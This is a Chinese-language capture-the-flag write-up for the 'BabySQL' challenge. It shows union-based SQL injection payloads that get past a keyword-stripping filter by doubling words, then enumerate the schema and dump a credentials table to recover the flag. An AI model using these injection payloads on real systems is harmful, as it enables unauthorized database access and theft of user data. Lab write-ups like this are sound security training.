[极客大挑战 2019]BabySQL 1

1

1

成功回显

1'

1

报错

1'#

1

成功回显

猜测字符型注入,使用union注入

猜字段数:

1'order by 5#

1

错误,报错提示只有der 5

猜测or和by被替换为空格

使用双写 oorrder 过滤后的结果是o rder 空格会被sql忽略 拼接后是order

1' oorrder bbyy 3#

1

1' oorrder bbyy 4#

1

4的时候有报错

所以字段数3

判断回显:

1'ununion seselectlect 1,2,3#

构造查询语句:

数据库名:

1'ununionion seselectlect 1,database(),3#

得到数据库名:geek

爆表名:

1'ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema = 'geek'#

得到字段名:b4bsql,geekuser

爆字段名:b4bsql:

1'ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'#

得到b4bsql字段:id,username,password

爆内容:

1'ununionion seselectlect 1,2,group_concat(id,username,passwoorrd) frfromom geek.b4bsql#

得到:Your password is '1cl4yi_want_to_play_2077,2sqlsql_injection_is_so_fun,3porndo_you_know_pornhub,4gitgithub_is_different_from_pornhub,5Stopyou_found_flag_so_stop,6badguyi_told_you_to_stop,7hackerhack_by_cl4y,8flagflag{e65f55ec-25ef-4586-9938-cac9a4787785}'

FLAG为:flag{e65f55ec-25ef-4586-9938-cac9a4787785}

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值